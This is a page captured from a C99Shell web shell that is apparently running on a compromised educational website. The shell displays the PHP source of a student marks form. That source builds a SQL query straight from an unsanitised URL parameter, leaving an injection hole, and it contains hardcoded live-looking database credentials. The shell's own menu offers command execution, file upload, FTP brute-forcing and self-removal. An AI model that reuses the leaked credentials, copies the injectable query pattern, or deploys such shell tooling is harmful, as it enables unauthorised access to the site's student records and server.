!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/branch2/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     obtained_marks.php (3.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
?>
<?php
include('session.php');
?>

<?php
include('certificateno.php');
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Certificate Registration</title>
<style type="text/css">
body {
    background-color: #CCC;
}
</style>
<center>
</head>
<body>
<table width="100%" border="0" bgcolor="#FFFFFF">
 <tr>
    <td colspan="4" align="center"><?php include('header.php'); ?></td>
    </tr>
  <tr>
    <td colspan="4" bgcolor="#FFFF00"><?php include('menubar.php'); ?></td>
  </tr>
   <tr>
        <td colspan="3" bgcolor="#CCCCCC"> <?php include('sessisionbar.php'); ?></td>
      </tr>
    
  
  <tr>
    <td colspan="1" bgcolor="#CCCCCC">
    
   <form action="" method="get" id="form" name="form">
   Enter Your Roll No:- <input name="q" type="text" id="q">
   <input type="submit" name="Submit" value="Search" />
    </form>
    
         <?php
  $var 
= @$_GET['q'] ;
  
$trimmed trim($var); 
$link mysqli_connect("localhost",'itce_user','rb!itc838',"itce_data");
 
// Check connection
if($link === false){
    die(
"ERROR: Could not connect. " mysqli_connect_error());
}
 
// Attempt select query execution
$sql "select * from certificate where Enrollment=\"$trimmed\"  ";
if(
$result mysqli_query($link$sql))
{
    if(
mysqli_num_rows($result) > 0)
    {
       
        while(
$row mysqli_fetch_array($result))
        {
$certificate_no=$row[Enrollment]; 
$student_name=$row[Name]; 
$course_name=$row[Course];

  
$count++ ;  
       
        }
        echo 
"</table>";
        
// Free result set
        
mysqli_free_result($result);
    } else{
        echo 
"Record Not found";
    }
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}
 
// Close connection
mysqli_close($link);
?>  
      
      
 

<form action="marksadd.php" method="post" id="form1" name="form1">
   

    <table width="445" border="1">
  <tr>
    <td width="145" align="left">Certificate No </td>
    <td width="284" align="left"><input name="certificateno" type="text"   value='<?php echo $certificate_no ?>'/></td>
  </tr>
  <tr>
    <td align="left">Course Name</td>
    <td align="left"><input name="coursename" type="text"   readonly="readonly" value='<?php echo  $course_name ?>'/></td>
  </tr>
  <tr>
    <td align="left">Student Name</td>
    <td align="left"><input name="studentname" type="text"  readonly="readonly"  value='<?php echo $student_name ?>'/></td>
  </tr>
  
  
  <tr>
    <td align="left">COURSE NAME</td>
    <td align="left">
    <?php
// Create connection
$con=mysqli_connect("localhost",'itce_user','rb!itc838',"itce_data");

    
// Check connection
    
if (mysqli_connect_errno())

// Check connection
if (mysqli_connect_errno())
  {
  echo 
"Failed to connect to MySQL: " mysqli_connect_error();
  } else {
    echo 
"We are connected.";
    }

    
$result mysqli_query($con,"SELECT ID,course_content FROM course_details");


   echo 
"<select name=\"course_content\"   id=\"course_content\" >\n";

    while(
$row mysqli_fetch_array($result))
    {
      echo 
"<option value='" $row['course_content'] . "'>" $row['course_content'] . "</option>";
    }
    echo 
" </select>\n";
  
?>
    
    
    
    </td>
  </tr>
  <tr>
    <td align="left">Total Marks</td>
    <td align="left"><input name="total_marks" type="text"  /></td>
  </tr>
   <tr>
    <td align="left">Obtained Marks</td>
    <td align="left"><input name="obtained_marks" type="text"   /></td>
  </tr>
  

  <tr>
    <td colspan="2"><input type="submit" name="addrecod" id="addrecod" value="Submit"/></td>
    </tr>
    </table>
      </form> 
         
 
    
   </td>
  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2"><?php include('footer.php'); ?></td>
  </tr>
</table>




      
      
 

</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0014 ]--